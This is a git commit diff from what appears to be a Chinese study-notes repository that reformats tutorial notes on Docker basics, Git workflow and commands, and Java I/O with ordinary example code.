Revert "auto commit"

This reverts commit 315655827b.
This commit is contained in:
CyC2018 2019-01-24 09:08:40 +08:00
parent 315655827b
commit 766936b4e1
32 changed files with 18091 additions and 17431 deletions

View File

@ -1,86 +1,92 @@
# 一、解决的问题
[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
<!-- GFM-TOC -->
* [一、解决的问题](#一解决的问题)
* [二、与虚拟机的比较](#二与虚拟机的比较)
* [三、优势](#三优势)
* [四、使用场景](#四使用场景)
* [五、镜像与容器](#五镜像与容器)
* [参考资料](#参考资料)
<!-- GFM-TOC -->
# 一、解决的问题
由于不同的机器有不同的操作系统,以及不同的库和组件,在将一个应用部署到多台机器上需要进行大量的环境配置操作。
Docker 主要解决环境配置问题它是一种虚拟化技术对进程进行隔离被隔离的进程独立于宿主操作系统和其它隔离的进程。使用 Docker 可以不修改应用程序代码不需要开发人员学习特定环境下的技术就能够将现有的应用程序部署在其他机器中。
Docker 主要解决环境配置问题,它是一种虚拟化技术,对进程进行隔离,被隔离的进程独立于宿主操作系统和其它隔离的进程。使用 Docker 可以不修改应用程序代码,不需要开发人员学习特定环境下的技术,就能够将现有的应用程序部署在其他机器中。
<img src="pics/011f3ef6-d824-4d43-8b2c-36dab8eaaa72-1.png" width="400px"/>
<div align="center"> <img src="pics/011f3ef6-d824-4d43-8b2c-36dab8eaaa72-1.png" width="400px"/> </div><br>
# 二、与虚拟机的比较
# 二、与虚拟机的比较
虚拟机也是一种虚拟化技术它与 Docker 最大的区别在于它是通过模拟硬件并在硬件上安装操作系统来实现。
虚拟机也是一种虚拟化技术,它与 Docker 最大的区别在于它是通过模拟硬件,并在硬件上安装操作系统来实现。
<img src="pics/71f61bc3-582d-4c27-8bdd-dc7fb135bf8f.png" width="250px"/>
<div align="center"> <img src="pics/71f61bc3-582d-4c27-8bdd-dc7fb135bf8f.png" width="250px"/> </div><br>
<img src="pics/7e873b60-44dc-4911-b080-defd5b8f0b49.png" width="250"/>
<div align="center"> <img src="pics/7e873b60-44dc-4911-b080-defd5b8f0b49.png" width="250"/> </div><br>
## 启动速度
## 启动速度
启动虚拟机需要启动虚拟机的操作系统,再启动应用,这个过程非常慢;
而启动 Docker 相当于启动宿主操作系统上的一个进程。
而启动 Docker 相当于启动宿主操作系统上的一个进程。
## 占用资源
## 占用资源
虚拟机是一个完整的操作系统,需要占用大量的磁盘、内存和 CPU一台机器只能开启几十个的虚拟机。
虚拟机是一个完整的操作系统,需要占用大量的磁盘、内存和 CPU一台机器只能开启几十个的虚拟机。
 Docker 只是一个进程,只需要将应用以及相关的组件打包,在运行时占用很少的资源,一台机器可以开启成千上万个 Docker。
Docker 只是一个进程,只需要将应用以及相关的组件打包,在运行时占用很少的资源,一台机器可以开启成千上万个 Docker。
# 三、优势
# 三、优势
除了启动速度快以及占用资源少之外Docker 具有以下优势:
除了启动速度快以及占用资源少之外Docker 具有以下优势:
## 更容易迁移
## 更容易迁移
提供一致性的运行环境,可以在不同的机器上进行迁移,而不用担心环境变化导致无法运行。
## 更容易维护
## 更容易维护
使用分层技术和镜像,使得应用可以更容易复用重复部分。复用程度越高,维护工作也越容易。
## 更容易扩展
## 更容易扩展
可以使用基础镜像进一步扩展得到新的镜像,并且官方和开源社区提供了大量的镜像,通过扩展这些镜像可以非常容易得到我们想要的镜像。
# 四、使用场景
# 四、使用场景
## 持续集成
## 持续集成
持续集成指的是频繁地将代码集成到主干上,这样能够更快地发现错误。
Docker 具有轻量级以及隔离性的特点在将代码集成到一个 Docker 中不会对其它 Docker 产生影响。
Docker 具有轻量级以及隔离性的特点,在将代码集成到一个 Docker 中不会对其它 Docker 产生影响。
## 提供可伸缩的云服务
## 提供可伸缩的云服务
根据应用的负载情况,可以很容易地增加或者减少 Docker。
根据应用的负载情况,可以很容易地增加或者减少 Docker。
## 搭建微服务架构
## 搭建微服务架构
Docker 轻量级的特点使得它很适合用于部署、维护、组合微服务。
Docker 轻量级的特点使得它很适合用于部署、维护、组合微服务。
# 五、镜像与容器
# 五、镜像与容器
镜像是一种静态的结构,可以看成面向对象里面的类,而容器是镜像的一个实例。
镜像包含着容器运行时所需要的代码以及其它组件它是一种分层结构每一层都是只读的read-only layers。构建镜像时会一层一层构建前一层是后一层的基础。镜像的这种分层存储结构很适合镜像的复用以及定制。
镜像包含着容器运行时所需要的代码以及其它组件它是一种分层结构每一层都是只读的read-only layers。构建镜像时会一层一层构建前一层是后一层的基础。镜像的这种分层存储结构很适合镜像的复用以及定制。
构建容器时通过在镜像的基础上添加一个可写层writable layer用来保存着容器运行过程中的修改。
构建容器时通过在镜像的基础上添加一个可写层writable layer用来保存着容器运行过程中的修改。
![](pics/docker-filesystems-busyboxrw.png)
<div align="center"> <img src="pics/docker-filesystems-busyboxrw.png"/> </div><br>
# 参考资料
# 参考资料
- [DOCKER 101: INTRODUCTION TO DOCKER WEBINAR RECAP](https://blog.docker.com/2017/08/docker-101-introduction-docker-webinar-recap/)
- [Docker 入门教程](http://www.ruanyifeng.com/blog/2018/02/docker-tutorial.html)
- [Docker container vs Virtual machine](http://www.bogotobogo.com/DevOps/Docker/Docker_Container_vs_Virtual_Machine.php)
- [How to Create Docker Container using Dockerfile](https://linoxide.com/linux-how-to/dockerfile-create-docker-container/)
- [理解 Docker2Docker 镜像](http://www.cnblogs.com/sammyliu/p/5877964.html)
- [为什么要使用 Docker](https://yeasy.gitbooks.io/docker_practice/introduction/why.html)
- [What is Docker](https://www.docker.com/what-docker)
- [持续集成是什么?](http://www.ruanyifeng.com/blog/2015/09/continuous-integration.html)
- [DOCKER 101: INTRODUCTION TO DOCKER WEBINAR RECAP](https://blog.docker.com/2017/08/docker-101-introduction-docker-webinar-recap/)
- [Docker 入门教程](http://www.ruanyifeng.com/blog/2018/02/docker-tutorial.html)
- [Docker container vs Virtual machine](http://www.bogotobogo.com/DevOps/Docker/Docker_Container_vs_Virtual_Machine.php)
- [How to Create Docker Container using Dockerfile](https://linoxide.com/linux-how-to/dockerfile-create-docker-container/)
- [理解 Docker2Docker 镜像](http://www.cnblogs.com/sammyliu/p/5877964.html)
- [为什么要使用 Docker](https://yeasy.gitbooks.io/docker_practice/introduction/why.html)
- [What is Docker](https://www.docker.com/what-docker)
- [持续集成是什么?](http://www.ruanyifeng.com/blog/2015/09/continuous-integration.html)
---bottom---CyC---
![](pics/011f3ef6-d824-4d43-8b2c-36dab8eaaa72-1.png)
![](pics/71f61bc3-582d-4c27-8bdd-dc7fb135bf8f.png)
![](pics/7e873b60-44dc-4911-b080-defd5b8f0b49.png)
![](pics/docker-filesystems-busyboxrw.png)

View File

@ -1,6 +1,23 @@
# 集中式与分布式
[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
<!-- GFM-TOC -->
* [集中式与分布式](#集中式与分布式)
* [中心服务器](#中心服务器)
* [工作流](#工作流)
* [分支实现](#分支实现)
* [冲突](#冲突)
* [Fast forward](#fast-forward)
* [分支管理策略](#分支管理策略)
* [储藏Stashing](#储藏stashing)
* [SSH 传输设置](#ssh-传输设置)
* [.gitignore 文件](#gitignore-文件)
* [Git 命令一览](#git-命令一览)
* [参考资料](#参考资料)
<!-- GFM-TOC -->
Git 属于分布式版本控制系统 SVN 属于集中式。
# 集中式与分布式
Git 属于分布式版本控制系统,而 SVN 属于集中式。
集中式版本控制只有中心服务器拥有一份代码,而分布式版本控制每个人的电脑上就有一份完整的代码。
@ -10,133 +27,133 @@ Git 属于分布式版本控制系统 SVN 属于集中式。
分布式版本控制新建分支、合并分支操作速度非常快,而集中式版本控制新建一个分支相当于复制一份完整代码。
# 中心服务器
# 中心服务器
中心服务器用来交换每个用户的修改,没有中心服务器也能工作,但是中心服务器能够 24 小时保持开机状态,这样就能更方便的交换修改。
中心服务器用来交换每个用户的修改,没有中心服务器也能工作,但是中心服务器能够 24 小时保持开机状态,这样就能更方便的交换修改。
Github 就是一个中心服务器。
Github 就是一个中心服务器。
# 工作流
# 工作流
![](index_files/a1198642-9159-4d88-8aec-c3b04e7a2563.jpg)
<div align="center"> <img src="pics/a1198642-9159-4d88-8aec-c3b04e7a2563.jpg"/> </div><br>
新建一个仓库之后,当前目录就成为了工作区,工作区下有一个隐藏目录 .git它属于 Git 的版本库。
新建一个仓库之后,当前目录就成为了工作区,工作区下有一个隐藏目录 .git它属于 Git 的版本库。
Git 版本库有一个称为 stage 的暂存区还有自动创建的 master 分支以及指向分支的 HEAD 指针。
Git 版本库有一个称为 stage 的暂存区,还有自动创建的 master 分支以及指向分支的 HEAD 指针。
![](index_files/46f66e88-e65a-4ad0-a060-3c63fe22947c.png)
<div align="center"> <img src="pics/46f66e88-e65a-4ad0-a060-3c63fe22947c.png"/> </div><br>
- git add files 把文件的修改添加到暂存区
- git commit 把暂存区的修改提交到当前分支,提交之后暂存区就被清空了
- git reset -- files 使用当前分支上的修改覆盖暂存区用来撤销最后一次 git add files
- git checkout -- files 使用暂存区的修改覆盖工作目录,用来撤销本地修改
- git add files 把文件的修改添加到暂存区
- git commit 把暂存区的修改提交到当前分支,提交之后暂存区就被清空了
- git reset -- files 使用当前分支上的修改覆盖暂存区,用来撤销最后一次 git add files
- git checkout -- files 使用暂存区的修改覆盖工作目录,用来撤销本地修改
![](index_files/17976404-95f5-480e-9cb4-250e6aa1d55f.png)
<div align="center"> <img src="pics/17976404-95f5-480e-9cb4-250e6aa1d55f.png"/> </div><br>
可以跳过暂存区域直接从分支中取出修改,或者直接提交修改到分支中。
- git commit -a 直接把所有文件的修改添加到暂存区然后执行提交
- git checkout HEAD -- files 取出最后一次修改,可以用来进行回滚操作
- git commit -a 直接把所有文件的修改添加到暂存区然后执行提交
- git checkout HEAD -- files 取出最后一次修改,可以用来进行回滚操作
# 分支实现
# 分支实现
使用指针将每个提交连接成一条时间线HEAD 指针指向当前分支指针。
使用指针将每个提交连接成一条时间线HEAD 指针指向当前分支指针。
![](index_files/fb546e12-e1fb-4b72-a1fb-8a7f5000dce6.jpg)
<div align="center"> <img src="pics/fb546e12-e1fb-4b72-a1fb-8a7f5000dce6.jpg"/> </div><br>
新建分支是新建一个指针指向时间线的最后一个节点,并让 HEAD 指针指向新分支表示新分支成为当前分支。
新建分支是新建一个指针指向时间线的最后一个节点,并让 HEAD 指针指向新分支表示新分支成为当前分支。
![](index_files/bc775758-89ab-4805-9f9c-78b8739cf780.jpg)
<div align="center"> <img src="pics/bc775758-89ab-4805-9f9c-78b8739cf780.jpg"/> </div><br>
每次提交只会让当前分支指针向前移动,而其它分支指针不会移动。
![](index_files/5292faa6-0141-4638-bf0f-bb95b081dcba.jpg)
<div align="center"> <img src="pics/5292faa6-0141-4638-bf0f-bb95b081dcba.jpg"/> </div><br>
合并分支也只需要改变指针即可。
![](index_files/1164a71f-413d-494a-9cc8-679fb6a2613d.jpg)
<div align="center"> <img src="pics/1164a71f-413d-494a-9cc8-679fb6a2613d.jpg"/> </div><br>
# 冲突
# 冲突
当两个分支都对同一个文件的同一行进行了修改,在分支合并时就会产生冲突。
![](index_files/58e57a21-6b6b-40b6-af85-956dd4e0f55a.jpg)
<div align="center"> <img src="pics/58e57a21-6b6b-40b6-af85-956dd4e0f55a.jpg"/> </div><br>
Git 会使用 <<<<<<< ======= >>>>>>> 标记出不同分支的内容,只需要把不同分支中冲突部分修改成一样就能解决冲突。
Git 会使用 <<<<<<< ======= >>>>>>> 标记出不同分支的内容,只需要把不同分支中冲突部分修改成一样就能解决冲突。
```
<<<<<<< HEAD
Creating a new branch is quick & simple.
<<<<<<< HEAD
Creating a new branch is quick & simple.
=======
Creating a new branch is quick AND simple.
>>>>>>> feature1
Creating a new branch is quick AND simple.
>>>>>>> feature1
```
# Fast forward
# Fast forward
"快进式合并"fast-farward merge会直接将 master 分支指向合并的分支,这种模式下进行分支合并会丢失分支信息,也就不能在分支历史上看出分支信息。
"快进式合并"fast-farward merge会直接将 master 分支指向合并的分支,这种模式下进行分支合并会丢失分支信息,也就不能在分支历史上看出分支信息。
可以在合并时加上 --no-ff 参数来禁用 Fast forward 模式并且加上 -m 参数让合并时产生一个新的 commit。
可以在合并时加上 --no-ff 参数来禁用 Fast forward 模式,并且加上 -m 参数让合并时产生一个新的 commit。
```
$ git merge --no-ff -m "merge with no-ff" dev
$ git merge --no-ff -m "merge with no-ff" dev
```
![](index_files/dd78a1fe-1ff3-4bcf-a56f-8c003995beb6.jpg)
<div align="center"> <img src="pics/dd78a1fe-1ff3-4bcf-a56f-8c003995beb6.jpg"/> </div><br>
# 分支管理策略
# 分支管理策略
master 分支应该是非常稳定的,只用来发布新版本;
master 分支应该是非常稳定的,只用来发布新版本;
日常开发在开发分支 dev 上进行。
日常开发在开发分支 dev 上进行。
![](index_files/245fd2fb-209c-4ad5-bc5e-eb5664966a0e.jpg)
<div align="center"> <img src="pics/245fd2fb-209c-4ad5-bc5e-eb5664966a0e.jpg"/> </div><br>
# 储藏Stashing
# 储藏Stashing
在一个分支上操作之后,如果还没有将修改提交到分支上,此时进行切换分支,那么另一个分支上也能看到新的修改。这是因为所有分支都共用一个工作区的缘故。
可以使用 git stash 将当前分支的修改储藏起来,此时当前工作区的所有修改都会被存到栈上,也就是说当前工作区是干净的,没有任何未提交的修改。此时就可以安全的切换到其它分支上了。
可以使用 git stash 将当前分支的修改储藏起来,此时当前工作区的所有修改都会被存到栈上,也就是说当前工作区是干净的,没有任何未提交的修改。此时就可以安全的切换到其它分支上了。
```
$ git stash
Saved working directory and index state \ "WIP on master: 049d078 added the index file"
HEAD is now at 049d078 added the index file (To restore them type "git stash apply")
$ git stash
Saved working directory and index state \ "WIP on master: 049d078 added the index file"
HEAD is now at 049d078 added the index file (To restore them type "git stash apply")
```
该功能可以用于 bug 分支的实现。如果当前正在 dev 分支上进行开发但是此时 master 上有个 bug 需要修复但是 dev 分支上的开发还未完成不想立即提交。在新建 bug 分支并切换到 bug 分支之前就需要使用 git stash  dev 分支的未提交修改储藏起来。
该功能可以用于 bug 分支的实现。如果当前正在 dev 分支上进行开发,但是此时 master 上有个 bug 需要修复,但是 dev 分支上的开发还未完成,不想立即提交。在新建 bug 分支并切换到 bug 分支之前就需要使用 git stash 将 dev 分支的未提交修改储藏起来。
# SSH 传输设置
# SSH 传输设置
Git 仓库和 Github 中心仓库之间的传输是通过 SSH 加密。
Git 仓库和 Github 中心仓库之间的传输是通过 SSH 加密。
如果工作区下没有 .ssh 目录或者该目录下没有 id_rsa  id_rsa.pub 这两个文件可以通过以下命令来创建 SSH Key
如果工作区下没有 .ssh 目录,或者该目录下没有 id_rsa 和 id_rsa.pub 这两个文件,可以通过以下命令来创建 SSH Key
```
$ ssh-keygen -t rsa -C "youremail@example.com"
$ ssh-keygen -t rsa -C "youremail@example.com"
```
然后把公钥 id_rsa.pub 的内容复制到 Github "Account settings"  SSH Keys 中。
然后把公钥 id_rsa.pub 的内容复制到 Github "Account settings" 的 SSH Keys 中。
# .gitignore 文件
# .gitignore 文件
忽略以下文件:
- 操作系统自动生成的文件,比如缩略图;
- 编译生成的中间文件比如 Java 编译产生的 .class 文件;
- 自己的敏感信息,比如存放口令的配置文件。
- 操作系统自动生成的文件,比如缩略图;
- 编译生成的中间文件,比如 Java 编译产生的 .class 文件;
- 自己的敏感信息,比如存放口令的配置文件。
不需要全部自己编写,可以到 [https://github.com/github/gitignore](https://github.com/github/gitignore) 中进行查询。
不需要全部自己编写,可以到 [https://github.com/github/gitignore](https://github.com/github/gitignore) 中进行查询。
# Git 命令一览
# Git 命令一览
![](index_files/7a29acce-f243-4914-9f00-f2988c528412.jpg)
<div align="center"> <img src="pics/7a29acce-f243-4914-9f00-f2988c528412.jpg"/> </div><br>
比较详细的地址http://www.cheat-sheets.org/saved-copy/git-cheat-sheet.pdf
# 参考资料
# 参考资料
- [Git - 简明指南](http://rogerdudler.github.io/git-guide/index.zh.html)
- [图解 Git](http://marklodato.github.io/visual-git-guide/index-zh-cn.html)
- [廖雪峰 : Git 教程](https://www.liaoxuefeng.com/wiki/0013739516305929606dd18361248578c67b8067c8c017b000)
- [Learn Git Branching](https://learngitbranching.js.org/)
- [Git - 简明指南](http://rogerdudler.github.io/git-guide/index.zh.html)
- [图解 Git](http://marklodato.github.io/visual-git-guide/index-zh-cn.html)
- [廖雪峰 : Git 教程](https://www.liaoxuefeng.com/wiki/0013739516305929606dd18361248578c67b8067c8c017b000)
- [Learn Git Branching](https://learngitbranching.js.org/)

File diff suppressed because it is too large Load Diff

View File

@ -1,286 +1,320 @@
# 一、概览
[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
<!-- GFM-TOC -->
* [一、概览](#一概览)
* [二、磁盘操作](#二磁盘操作)
* [三、字节操作](#三字节操作)
* [实现文件复制](#实现文件复制)
* [装饰者模式](#装饰者模式)
* [四、字符操作](#四字符操作)
* [编码与解码](#编码与解码)
* [String 的编码方式](#string-的编码方式)
* [Reader 与 Writer](#reader-与-writer)
* [实现逐行输出文本文件的内容](#实现逐行输出文本文件的内容)
* [五、对象操作](#五对象操作)
* [序列化](#序列化)
* [Serializable](#serializable)
* [transient](#transient)
* [六、网络操作](#六网络操作)
* [InetAddress](#inetaddress)
* [URL](#url)
* [Sockets](#sockets)
* [Datagram](#datagram)
* [七、NIO](#七nio)
* [流与块](#流与块)
* [通道与缓冲区](#通道与缓冲区)
* [缓冲区状态变量](#缓冲区状态变量)
* [文件 NIO 实例](#文件-nio-实例)
* [选择器](#选择器)
* [套接字 NIO 实例](#套接字-nio-实例)
* [内存映射文件](#内存映射文件)
* [对比](#对比)
* [八、参考资料](#八参考资料)
<!-- GFM-TOC -->
Java  I/O 大概可以分成以下几类
- 磁盘操作File
- 字节操作InputStream  OutputStream
- 字符操作Reader  Writer
- 对象操作Serializable
- 网络操作Socket
- 新的输入/输出NIO
# 一、概览
# 二、磁盘操作
Java 的 I/O 大概可以分成以下几类:
File 类可以用于表示文件和目录的信息但是它不表示文件的内容。
- 磁盘操作File
- 字节操作InputStream 和 OutputStream
- 字符操作Reader 和 Writer
- 对象操作Serializable
- 网络操作Socket
- 新的输入/输出NIO
# 二、磁盘操作
File 类可以用于表示文件和目录的信息,但是它不表示文件的内容。
递归地列出一个目录下所有文件:
```java
public static void listAllFiles(File dir) {
    if (dir == null || !dir.exists()) {
        return;
    }
    if (dir.isFile()) {
        System.out.println(dir.getName());
        return;
    }
    for (File file : dir.listFiles()) {
        listAllFiles(file);
    }
public static void listAllFiles(File dir) {
if (dir == null || !dir.exists()) {
return;
}
if (dir.isFile()) {
System.out.println(dir.getName());
return;
}
for (File file : dir.listFiles()) {
listAllFiles(file);
}
}
```
 Java7 开始可以使用 Paths  Files 代替 File。
Java7 开始,可以使用 Paths 和 Files 代替 File。
# 三、字节操作
# 三、字节操作
## 实现文件复制
## 实现文件复制
```java
public static void copyFile(String src, String dist) throws IOException {
    FileInputStream in = new FileInputStream(src);
    FileOutputStream out = new FileOutputStream(dist);
public static void copyFile(String src, String dist) throws IOException {
FileInputStream in = new FileInputStream(src);
FileOutputStream out = new FileOutputStream(dist);
    byte[] buffer = new byte[20 * 1024];
    int cnt;
byte[] buffer = new byte[20 * 1024];
int cnt;
    // read() 最多读取 buffer.length 个字节
    // 返回的是实际读取的个数
    // 返回 -1 的时候表示读到 eof即文件尾
    while ((cnt = in.read(buffer, 0, buffer.length)) != -1) {
        out.write(buffer, 0, cnt);
    }
// read() 最多读取 buffer.length 个字节
// 返回的是实际读取的个数
// 返回 -1 的时候表示读到 eof即文件尾
while ((cnt = in.read(buffer, 0, buffer.length)) != -1) {
out.write(buffer, 0, cnt);
}
    in.close();
    out.close();
in.close();
out.close();
}
```
## 装饰者模式
## 装饰者模式
Java I/O 使用了装饰者模式来实现。以 InputStream 为例,
Java I/O 使用了装饰者模式来实现。以 InputStream 为例,
- InputStream 是抽象组件;
- FileInputStream  InputStream 的子类,属于具体组件,提供了字节流的输入操作;
- FilterInputStream 属于抽象装饰者装饰者用于装饰组件为组件提供额外的功能。例如 BufferedInputStream  FileInputStream 提供缓存的功能。
- InputStream 是抽象组件;
- FileInputStream 是 InputStream 的子类,属于具体组件,提供了字节流的输入操作;
- FilterInputStream 属于抽象装饰者,装饰者用于装饰组件,为组件提供额外的功能。例如 BufferedInputStream 为 FileInputStream 提供缓存的功能。
<img src="index_files/DP-Decorator-java.io.png" width="500"/>
<div align="center"> <img src="pics/DP-Decorator-java.io.png" width="500"/> </div><br>
实例化一个具有缓存功能的字节流对象时,只需要在 FileInputStream 对象上再套一层 BufferedInputStream 对象即可。
实例化一个具有缓存功能的字节流对象时,只需要在 FileInputStream 对象上再套一层 BufferedInputStream 对象即可。
```java
FileInputStream fileInputStream = new FileInputStream(filePath);
BufferedInputStream bufferedInputStream = new BufferedInputStream(fileInputStream);
FileInputStream fileInputStream = new FileInputStream(filePath);
BufferedInputStream bufferedInputStream = new BufferedInputStream(fileInputStream);
```
DataInputStream 装饰者提供了对更多数据类型进行输入的操作比如 int、double 等基本类型。
DataInputStream 装饰者提供了对更多数据类型进行输入的操作,比如 int、double 等基本类型。
# 四、字符操作
# 四、字符操作
## 编码与解码
## 编码与解码
编码就是把字符转换为字节,而解码是把字节重新组合成字符。
如果编码和解码过程使用不同的编码方式那么就出现了乱码。
- GBK 编码中中文字符占 2 个字节英文字符占 1 个字节;
- UTF-8 编码中中文字符占 3 个字节英文字符占 1 个字节;
- UTF-16be 编码中中文字符和英文字符都占 2 个字节。
- GBK 编码中,中文字符占 2 个字节,英文字符占 1 个字节;
- UTF-8 编码中,中文字符占 3 个字节,英文字符占 1 个字节;
- UTF-16be 编码中,中文字符和英文字符都占 2 个字节。
UTF-16be 中的 be 指的是 Big Endian也就是大端。相应地也有 UTF-16lele 指的是 Little Endian也就是小端。
UTF-16be 中的 be 指的是 Big Endian也就是大端。相应地也有 UTF-16lele 指的是 Little Endian也就是小端。
Java 的内存编码使用双字节编码 UTF-16be这不是指 Java 只支持这一种编码方式而是说 char 这种类型使用 UTF-16be 进行编码。char 类型占 16 也就是两个字节Java 使用这种双字节编码是为了让一个中文或者一个英文都能使用一个 char 来存储。
Java 的内存编码使用双字节编码 UTF-16be这不是指 Java 只支持这一种编码方式,而是说 char 这种类型使用 UTF-16be 进行编码。char 类型占 16 位也就是两个字节Java 使用这种双字节编码是为了让一个中文或者一个英文都能使用一个 char 来存储。
## String 的编码方式
## String 的编码方式
String 可以看成一个字符序列,可以指定一个编码方式将它编码为字节序列,也可以指定一个编码方式将一个字节序列解码为 String。
String 可以看成一个字符序列,可以指定一个编码方式将它编码为字节序列,也可以指定一个编码方式将一个字节序列解码为 String。
```java
String str1 = "中文";
byte[] bytes = str1.getBytes("UTF-8");
String str2 = new String(bytes, "UTF-8");
String str1 = "中文";
byte[] bytes = str1.getBytes("UTF-8");
String str2 = new String(bytes, "UTF-8");
System.out.println(str2);
```
在调用无参数 getBytes() 方法时默认的编码方式不是 UTF-16be。双字节编码的好处是可以使用一个 char 存储中文和英文而将 String 转为 bytes[] 字节数组就不再需要这个好处因此也就不再需要双字节编码。getBytes() 的默认编码方式与平台有关,一般为 UTF-8。
在调用无参数 getBytes() 方法时,默认的编码方式不是 UTF-16be。双字节编码的好处是可以使用一个 char 存储中文和英文,而将 String 转为 bytes[] 字节数组就不再需要这个好处因此也就不再需要双字节编码。getBytes() 的默认编码方式与平台有关,一般为 UTF-8。
```java
byte[] bytes = str1.getBytes();
byte[] bytes = str1.getBytes();
```
## Reader  Writer
## Reader 与 Writer
不管是磁盘还是网络传输,最小的存储单元都是字节,而不是字符。但是在程序中操作的通常是字符形式的数据,因此需要提供对字符进行操作的方法。
- InputStreamReader 实现从字节流解码成字符流;
- OutputStreamWriter 实现字符流编码成为字节流。
- InputStreamReader 实现从字节流解码成字符流;
- OutputStreamWriter 实现字符流编码成为字节流。
## 实现逐行输出文本文件的内容
## 实现逐行输出文本文件的内容
```java
public static void readFileContent(String filePath) throws IOException {
public static void readFileContent(String filePath) throws IOException {
    FileReader fileReader = new FileReader(filePath);
    BufferedReader bufferedReader = new BufferedReader(fileReader);
FileReader fileReader = new FileReader(filePath);
BufferedReader bufferedReader = new BufferedReader(fileReader);
    String line;
    while ((line = bufferedReader.readLine()) != null) {
        System.out.println(line);
    }
String line;
while ((line = bufferedReader.readLine()) != null) {
System.out.println(line);
}
    // 装饰者模式使得 BufferedReader 组合了一个 Reader 对象
    // 在调用 BufferedReader  close() 方法时会去调用 Reader  close() 方法
    // 因此只要一个 close() 调用即可
    bufferedReader.close();
// 装饰者模式使得 BufferedReader 组合了一个 Reader 对象
// 在调用 BufferedReader 的 close() 方法时会去调用 Reader 的 close() 方法
// 因此只要一个 close() 调用即可
bufferedReader.close();
}
```
# 五、对象操作
# 五、对象操作
## 序列化
## 序列化
序列化就是将一个对象转换成字节序列,方便存储和传输。
- 序列化ObjectOutputStream.writeObject()
- 反序列化ObjectInputStream.readObject()
- 序列化ObjectOutputStream.writeObject()
- 反序列化ObjectInputStream.readObject()
不会对静态变量进行序列化,因为序列化只是保存对象的状态,静态变量属于类的状态。
## Serializable
## Serializable
序列化的类需要实现 Serializable 接口,它只是一个标准,没有任何方法需要实现,但是如果不去实现它的话而进行序列化,会抛出异常。
序列化的类需要实现 Serializable 接口,它只是一个标准,没有任何方法需要实现,但是如果不去实现它的话而进行序列化,会抛出异常。
```java
public static void main(String[] args) throws IOException, ClassNotFoundException {
public static void main(String[] args) throws IOException, ClassNotFoundException {
    A a1 = new A(123, "abc");
    String objectFile = "file/a1";
A a1 = new A(123, "abc");
String objectFile = "file/a1";
    ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(objectFile));
    objectOutputStream.writeObject(a1);
    objectOutputStream.close();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(objectFile));
objectOutputStream.writeObject(a1);
objectOutputStream.close();
    ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(objectFile));
    A a2 = (A) objectInputStream.readObject();
    objectInputStream.close();
    System.out.println(a2);
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(objectFile));
A a2 = (A) objectInputStream.readObject();
objectInputStream.close();
System.out.println(a2);
}
private static class A implements Serializable {
private static class A implements Serializable {
    private int x;
    private String y;
private int x;
private String y;
    A(int x, String y) {
        this.x = x;
        this.y = y;
    }
A(int x, String y) {
this.x = x;
this.y = y;
}
    @Override
    public String toString() {
        return "x = " + x + "  " + "y = " + y;
    }
@Override
public String toString() {
return "x = " + x + " " + "y = " + y;
}
}
```
## transient
## transient
transient 关键字可以使一些属性不会被序列化。
transient 关键字可以使一些属性不会被序列化。
ArrayList 中存储数据的数组 elementData 是用 transient 修饰的,因为这个数组是动态扩展的,并不是所有的空间都被使用,因此就不需要所有的内容都被序列化。通过重写序列化和反序列化方法,使得可以只序列化数组中有内容的那部分数据。
ArrayList 中存储数据的数组 elementData 是用 transient 修饰的,因为这个数组是动态扩展的,并不是所有的空间都被使用,因此就不需要所有的内容都被序列化。通过重写序列化和反序列化方法,使得可以只序列化数组中有内容的那部分数据。
```java
private transient Object[] elementData;
private transient Object[] elementData;
```
# 六、网络操作
# 六、网络操作
Java 中的网络支持:
Java 中的网络支持:
- InetAddress用于表示网络上的硬件资源 IP 地址;
- URL统一资源定位符
- Sockets使用 TCP 协议实现网络通信;
- Datagram使用 UDP 协议实现网络通信。
- InetAddress用于表示网络上的硬件资源即 IP 地址;
- URL统一资源定位符
- Sockets使用 TCP 协议实现网络通信;
- Datagram使用 UDP 协议实现网络通信。
## InetAddress
## InetAddress
没有公有的构造函数,只能通过静态方法来创建实例。
```java
InetAddress.getByName(String host);
InetAddress.getByAddress(byte[] address);
InetAddress.getByName(String host);
InetAddress.getByAddress(byte[] address);
```
## URL
## URL
可以直接从 URL 中读取字节流数据。
可以直接从 URL 中读取字节流数据。
```java
public static void main(String[] args) throws IOException {
public static void main(String[] args) throws IOException {
    URL url = new URL("http://www.baidu.com");
URL url = new URL("http://www.baidu.com");
    /* 字节流 */
    InputStream is = url.openStream();
/* 字节流 */
InputStream is = url.openStream();
    /* 字符流 */
    InputStreamReader isr = new InputStreamReader(is, "utf-8");
/* 字符流 */
InputStreamReader isr = new InputStreamReader(is, "utf-8");
    /* 提供缓存功能 */
    BufferedReader br = new BufferedReader(isr);
/* 提供缓存功能 */
BufferedReader br = new BufferedReader(isr);
    String line;
    while ((line = br.readLine()) != null) {
        System.out.println(line);
    }
String line;
while ((line = br.readLine()) != null) {
System.out.println(line);
}
    br.close();
br.close();
}
```
## Sockets
## Sockets
- ServerSocket服务器端类
- Socket客户端类
- 服务器和客户端通过 InputStream  OutputStream 进行输入输出。
- ServerSocket服务器端类
- Socket客户端类
- 服务器和客户端通过 InputStream 和 OutputStream 进行输入输出。
![](index_files/ClienteServidorSockets1521731145260.jpg)
<div align="center"> <img src="pics/ClienteServidorSockets1521731145260.jpg"/> </div><br>
## Datagram
## Datagram
- DatagramSocket通信类
- DatagramPacket数据包类
- DatagramSocket通信类
- DatagramPacket数据包类
# 七、NIO
# 七、NIO
新的输入/输出 (NIO) 库是在 JDK 1.4 中引入的弥补了原来的 I/O 的不足提供了高速的、面向块的 I/O。
新的输入/输出 (NIO) 库是在 JDK 1.4 中引入的,弥补了原来的 I/O 的不足,提供了高速的、面向块的 I/O。
## 流与块
## 流与块
I/O  NIO 最重要的区别是数据打包和传输的方式I/O 以流的方式处理数据 NIO 以块的方式处理数据。
I/O 与 NIO 最重要的区别是数据打包和传输的方式I/O 以流的方式处理数据,而 NIO 以块的方式处理数据。
